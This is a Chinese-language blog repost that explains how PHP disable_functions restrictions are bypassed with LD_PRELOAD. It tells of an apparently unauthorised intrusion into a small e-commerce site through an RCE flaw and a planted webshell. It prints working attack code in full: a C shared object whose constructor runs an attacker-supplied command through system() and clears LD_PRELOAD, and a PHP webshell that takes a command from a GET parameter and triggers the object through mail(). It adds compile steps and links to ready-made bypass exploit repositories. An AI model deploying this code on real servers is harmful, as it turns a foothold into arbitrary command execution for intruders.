[转+自]disable_functions之巧用LD_PRELOAD突破

写在前面:

通过知乎的一篇艰难的渗透提权,引发了一些对于disable_funcionts绕过的思考,虽然在暑假日记中记载了四种绕过disable_functions,比如com组件,pcntl_exec,LD_PRELOAD,ImageMagick。

这次着重转载了一篇关于LD_PRELOAD的文章,对LD_PRELOAD绕过disable_functions有了更加深刻的理解。希望读者不要仅在于利用此文章作者的工具直接去应用,如果能够看懂理解的话,会获得不少的知识,对于技术有更深层的理解,而不是直接用工具一步到位。

[转]无需sendmail:巧用LD_PRELOAD突破disable_functions

摘要:千辛万苦拿到的 webshell 居然无法执行系统命令,怀疑服务端 disable_functions 禁用了命令执行函数,通过环境变量 LD_PRELOAD 劫持系统函数,却又发现目标根本没安装 sendmail,无法执行命令的 webshell 是无意义的,看我如何突破!

半月前逛“已黑网站列表”时复审一小电商网站,“列表”中并未告知漏洞详情,简单浏览了下功能,只有注册、登录、下单、支付等几个而已。登录接口中,找到个 RCE(远程代码执行,非远程命令执行)漏洞:

image.png

顺势写入菜刀马后连接:

image.png

习惯上,getshell 后我会先了解下该系统配置,虚拟终端中执行 cat /proc/meminfo 但执行报错:

image.png

怀疑有 WAF 拦劫了待执行的命令,尝试了空字符串、路径扩展、自定义变量平时常用的几种绕命令执行限制的手法,结果都失败:

image.png

无命令执行功能的 webshell 是无意义的,得突破!

通常来说,导致 webshell 不能执行命令的原因大概有三类:一是 php.ini 中用 disable_functions 指示器禁用了 system()、exec() 等等这类命令执行的相关函数;二是 web 进程运行在 rbash 这类受限 shell 环境中;三是 WAF 拦劫。若是一则无法执行任何命令,若是二、三则可以执行少量命令。从当前现象来看,很可能由 disable_functions 所致。为验证,我利用前面的 RCE 漏洞执行 phpinfo(),确认的确如此:

 

 

 

有四种绕过 disable_functions 的手法:第一种,攻击后端组件,寻找存在命令注入的、web 应用常用的后端组件,如,ImageMagick 的魔图漏洞、bash 的破壳漏洞;第二种,寻找未禁用的漏网函数,常见的执行命令的函数有 system()、exec()、shell_exec()、passthru(),偏僻的 popen()、proc_open()、pcntl_exec(),逐一尝试,或许有漏网之鱼;第三种,mod_cgi 模式,尝试修改 .htaccess,调整请求访问路由,绕过 php.ini 中的任何限制;第四种,利用环境变量 LD_PRELOAD 劫持系统函数,让外部程序加载恶意 *.so,达到执行系统命令的效果。

尝试第一种时,我用 phpinfo() 查看 ImageMagick 版本为 v6.9.4-10:

 

 用 searchsploit(exploit-db.com 的本地版)搜索存在命令注入的版本为 v6.9.3-9 或 v7.0.1-0:

 

 

显然,当前 ImageMagick 无法利用;尝试第二种时,常见的、不常见的、罕见的(如 dl()),所有可启动进程的函数均被禁用;尝试第三种时,发现并未启用 mod_cgi 模式。所有希望,寄托在 LD_PRELOAD。

设想这样一种思路:利用漏洞控制 web 启动新进程 a.bin(即便进程名无法让我随意指定),a.bin 内部调用系统函数 b(),b() 位于系统共享对象 c.so 中,所以系统为该进程加载共 c.so,我想法在 c.so 前优先加载可控的 c_evil.so,c_evil.so 内含与 b() 同名的恶意函数,由于 c_evil.so 优先级较高,所以,a.bin 将调用到 c_evil.so 内 b() 而非系统的 c.so 内 b(),同时,c_evil.so 可控,达到执行恶意代码的目的。基于这一思路,将突破 disable_functions 限制执行操作系统命令这一目标,大致分解成几步在本地推演:查看进程调用系统函数明细、操作系统环境下劫持系统函数注入代码、找寻内部启动新进程的 PHP 函数、PHP 环境下劫持系统函数注入代码。

查看进程调用系统函数明细。linux 创建新进程的过程较为复杂,我关心进程加载了哪些共享对象、可能调用哪些 API、实际调用了哪些 API。比如,运行 /usr/bin/id,通过 ldd 可查看系统为其加载的共享对象:

image.png

由于可执行文件 /usr/bin/id 内含符号表,所以,运行 nm -D /usr/bin/id 2>&1 或 readelf -Ws /usr/bin/id 可查看该程序可能调用的系统 API 明细:

image.png

由于程序运行时会根据命令行选项、运行环境作出不同反应,导致真正运行时调用的 API 可能只是 readefl 查看的子集,你可以运行 strace -f /usr/bin/id 2>&1 跟踪实际 API 调用情况,比如,实际调用 open() 的入参、返回值一目了然:

image.png

操作系统环境下劫持系统函数注入代码。linux 的环境变量 LD_PRELOAD 是一种类似 win32 API hook 的更优雅的实现,适用于打热补丁、读取进程空间数据、禁止程序调用指定 API、调试程序等等场景,甚至可以在不更改原始可执行文件前提下植入后门(管理员常用的 /bin/ps)。由于被劫持的系统函数得由我们重新实现一次,函数原型必须一致,为减少复杂性,我会选择劫持那些无参数且常用的系统函数,getuid() 就适合,以此为例,完整劫持过程步骤大致如下:首先,用 man 2 getuid 查看函数原型:

image.png

然后,编写同原型的 getuid() 函数,保存至 getuid_shadow.c,源码为:

image.png

执行 gcc -shared -fPIC getuid_shadow.c -o getuid_shadow.so 将其编译为共享对象:

image.png

最后,借助环境变量 LD_PRELOAD 劫持系统函数 getuid(),获取控制权。执行 LD_PRELOAD=/root/getuid_shadow.so /usr/bin/id,注入代码成功执行:

image.png

注意,LD_PRELOAD 是进程独占环境变量,类似于命令适配器,它与待执行命令间必须为空白字符,而非命令分隔符(;、&&、||)。

找寻内部启动新进程的 PHP 函数。虽然 LD_PRELOAD 为我提供了劫持系统函数的能力,但前提是我得控制 php 启动外部程序才行(只要有进程启动行为即可,无所谓是谁)。常见的 system() 启动程序方式显然不行,否则就不存在突破 disable_functions 一事了。PHP 脚本中除了调用 system()、exec()、shell_exec() 等等一堆 php 函数外,还有哪种可能启动外部程序呢?php 解释器自身!比如,php 函数 goForward() 实现“前进”的功能,php 函数 goForward() 又由组成 php 解释器的 C 语言模块之一的 move.c 实现,C 模块 move.c 内部又通过调用外部程序 go.bin 实现,那么,我的 php 脚本中调用了函数 goForward(),势必启动外部程序 go.bin。现在,我需要找到类似 goForward() 的真实存在的 PHP 函数。印象中,处理图片、请求网页、发送邮件等三类场景中可能存在我想要的函数,我得逐一验证。处理图片,通常调用 PHP 封装的 ImageMagick 库,新建 image.php,调用 Imagick():

image.png

运行 strace -f php image.php 2>&1 | grep -A2 -B2 execve 查看 Imagick() 是否启动新进程:

image.png

第一个 execve 是启动 PHP 解释器而已,必须找到第二个 execve,没有则说明并未启动新进程;请求网页,新建 http.php,调用 curl_init():

image.png

运行 strace -f php http.php 2>&1 | grep -A2 -B2 execve 查看 curl_init() 是否启动新进程:

image.png

仍然不是我要的;发送邮件,新建 mail.php,调用 mail():

image.png

运行 strace -f php mail.php 2>&1 | grep -A2 -B2 execve 查看 mail() 是否启动新进程:

 

bingo!mail() 内部启动了 /usr/sbin/sendmail、/usr/sbin/postdrop 两个新进程,它就是我一直苦寻的函数(用相同的测试方式,还找到一个 imap_mail())。

PHP 环境下劫持系统函数注入代码。mail.php 内增加设置 LD_PRELOAD 的代码:

image.png

然后将 mail.php 以及内含 mail() 函数的共享对象 getuid_shadow.so 放入 web 目录 /var/www/:

image.png

执行 mail.php 之后,找到 getuid_shadow.so 中 mail() 创建的文件 /tmp/evil,成功在 PHP 环境下不借助任何 PHP 命令执行函数执行命令:

image.png

有了前面的分析,看我如何在目标站点绕过 disable_functions 执行系统命令。

首先,基于前面的 mail.php 写了个小马 bypass_disablefunc.php:

 

 bypass_disablefunc.php 提供三个 GET 参数。一是 cmd 参数,待执行的系统命令(如 pwd);二是 outpath 参数,保存命令执行输出结果的文件路径(如 /tmp/xx),便于在页面上显示,另外关于该参数,你应注意 web 是否有读写权限、web 是否可跨目录访问、文件将被覆盖和删除等几点;三是 sopath 参数,指定劫持系统函数的共享对象的绝对路径(如 /var/www/bypass_disablefunc_x64.so),另外关于该参数,你应注意 web 是否可跨目录访问到它。此外,bypass_disablefunc.php 拼接命令和输出路径成为完整的命令行,所以你不用在 cmd 参数中重定向了:

$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";

同时,通过环境变量 EVIL_CMDLINE 向 bypass_disablefunc_x64.so 传递具体执行的命令行信息:

putenv("EVIL_CMDLINE=" . $evil_cmdline);

然后,基于 getuid_shadow.c 编写劫持函数的代码 bypass_disablefunc.c。回想下,先前我之所以劫持 getuid(),是因为 sendmail 程序会调用该函数,在真实环境中,存在两方面问题:一是,某些环境中,web 禁止启用 senmail、甚至系统上根本未安装 sendmail,也就谈不上劫持 getuid(),通常的 www-data 权限又不可能去更改 php.ini 配置、去安装 sendmail 软件;二是,即便目标可以启用 sendmail,由于未将主机名(hostname 输出)添加进 hosts 中,导致每次运行 sendmail 都要耗时半分钟等待域名解析超时返回,www-data 也无法将主机名加入 hosts(如,127.0.0.1    lamp、lamp.、lamp.com)。基于这两个原因,我不得不放弃劫持函数 getuid(),必须找个更普适的方法。回到 LD_PRELOAD 本身,系统通过它预先加载共享对象,如果能找到一个方式,在加载时就执行代码,而不用考虑劫持某一系统函数,那我就完全可以不依赖 sendmail 了。这种场景与 C++ 的构造函数简直神似!几经搜索后了解到,GCC 有个 C 语言扩展修饰符 __attribute__((constructor)),可以让由它修饰的函数在 main() 之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行 __attribute__((constructor)) 修饰的函数。强调下,这一细节非常重要,很多朋友用 LD_PRELOAD 手法突破 disable_functions 无法做到百分百成功,正因为这个原因,我们不要局限于仅劫持某一函数,而应考虑劫持共享对象。bypass_disablefunc.c 源码如下:

image.png

从环境变量 EVIL_CMDLINE 中接收 bypass_disablefunc.php 传递过来的待执行的命令行。

接着,用命令 gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc_x64.so 将 bypass_disablefunc.c 编译为共享对象 bypass_disablefunc_x64.so:

image.png

你要根据目标架构编译成不同版本,在 x64 的环境中编译,若不带编译选项则默认为 x64,若要编译成 x86 架构需要加上 -m32 选项。

最后,用菜刀将 bypass_disablefunc.php 和 bypass_disablefunc_x64.so 传到目标:

image.png

 

指定好命令输出路径、共享对象路径后,在 bypass_disablefunc.php 上再次执行先前失败的命令 cat /proc/meminfo:

image.png

啊哈!很酷对不对。

好了,巧用 LD_PRELOAD 突破 disable_functions 的手法就是这样子,唯一条件,PHP 支持putenv()、mail() 即可,甚至无需安装 sendmail。那么,现在的情况是,我知道你很忙,没时间看前面的技术细节,要的只是开箱即用的工具。行,bypass_disablefunc.php、bypass_disablefunc.c、bypass_disablefunc_x64.so 托管在 https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD,自取。

分析理解

如果你看了上面的知乎上的渗透文章的话,你会发现作者更新了bypass,不管是原作者的执行失败还是淚笑的执行成功,归根结底都是同样的原理,而对于不成功的问题,作者也在gayhub中更新了c代码。

结合php和c我来分析一下

如下:

#define _GNU_SOURCE

#include <stdlib.h>
#include <stdio.h>
#include <string.h>


extern char** environ;

__attribute__ ((__constructor__)) void preload (void)
{
    // get command line options and arg
    const char* cmdline = getenv("EVIL_CMDLINE");

    // unset environment variable LD_PRELOAD.
    // unsetenv("LD_PRELOAD") no effect on some 
    // distribution (e.g., centos), I need crafty trick.
    int i;
    for (i = 0; environ[i]; ++i) {
            if (strstr(environ[i], "LD_PRELOAD")) {
                    environ[i][0] = '\0';
            }
    }

    // executive command
    system(cmdline);
}

解释道:如果你是一个细心的人你会发现这里的bypass_disablefunc.c(来自github)和教程中提及的不一样,多出了使用for循环修改LD_PRELOAD的首个字符改成\0,如果你略微了解C语言就会知道\0是C语言字符串结束标记,原因注释里有:unsetenv("LD_PRELOAD")在某些Linux发行版不一定生效(如CentOS),这样一个小动作能够让系统原有的LD_PRELOAD环境变量自动失效

php源码

<?php
    echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";
    $cmd = $_GET["cmd"];
    $out_path = $_GET["outpath"];
    $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
    echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
    putenv("EVIL_CMDLINE=" . $evil_cmdline);
    $so_path = $_GET["sopath"];
    putenv("LD_PRELOAD=" . $so_path);
    mail("", "", "", "");
    echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>"; 
    unlink($out_path);
?>

cmd为你要执行的命令,outpaht是你想要保存命令的结果的地方,sopath为共享对象的绝对路径。

其中

evil_cmdline = $cmd . " > " . $out_path . " 2>&1";

为你要执行的命令,putenv添加环境变量EVIL_CMDLINE,将命令行赋值给环境变量EVIL_CMDLINE,然后获得劫持函数的共享对象的sopatt路径,通过调用php mail函数,调用起来新的进程,触发共享对象中,不需要senmail()劫持系统函数,直接通过__attribute__ ((__constructor__)),在共享对象触发后,自动调用如下函数:

const char* cmdline = getenv("EVIL_CMDLINE");

获取环境变量EVIL_CMDLINE即你需要执行的命令,作为system()函数的参数

system(cmdline) //C 库函数 int system(const char *command) 把 command 指定的命令名称或程序名称传给要被命令处理器执行的主机环境,并在命令完成后返回。

调用系统命令,执行的你get传参的系统命令,达到RCE利用。这个绕过非常的有趣,所以特地详细记录和分析。希望读者能够好好通读文章,获得更全面的理解和知识。

在x64系统中编译的话,默认是x64,若要编译成x86需要加上- m32选项

最后总结

一般为了安全,运维人员会禁用PHP的一些“危险”函数,例如

dl,eval,exec,system,passthru,popen,proc_open,pcntl_exec,shell_exec,mail,imap_open,imap_mail,putenv,ini_set,apache_setenv,symlink,link 等

将其写再php.ini中的disable_functions中

Bypass disable_functions Shell

Bypass涉及禁用函数列表:

dl,exec,system,passthru,popen,proc_open,pcntl_exec,shell_exec,mail,imap_open,imap_mail,putenv,ini_set,apache_setenv,symlink,link

shell绕过已实现的方式:

  • 常规绕过: exec、shell_exec、system、passthru、popen、proc_open
  • ld_preload绕过: mail、imap_mail、error_log、mb_send_mail
  • pcntl_exec
  • imap_open
  • fastcgi
  • com
  • apache mod-cgi

目录结构:

  • env - docker环境, 用于测试各类绕过exp
  • papar - bypass原理
  • exp - bypass脚本

仓库:https://github.com/l3m0n/Bypass_Disable_functions_Shell

json_反序列化_PHP 7.1-7.3 disable_functions bypass

利用php json序列化漏洞,以绕过disable_functions并执行系统命令

仓库:https://github.com/mm0r1/exploits/tree/master/php-json-bypass

LD_PRELOA

上述文章中提及的

仓库:https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

学习文章:

浅谈几种Bypass-disable-functions的方法

淚笑

无需sendmail:巧用LD_PRELOAD突破disable_functions

posted @ 2019-10-17 12:56  yunying  阅读(1022)  评论(0编辑  收藏  举报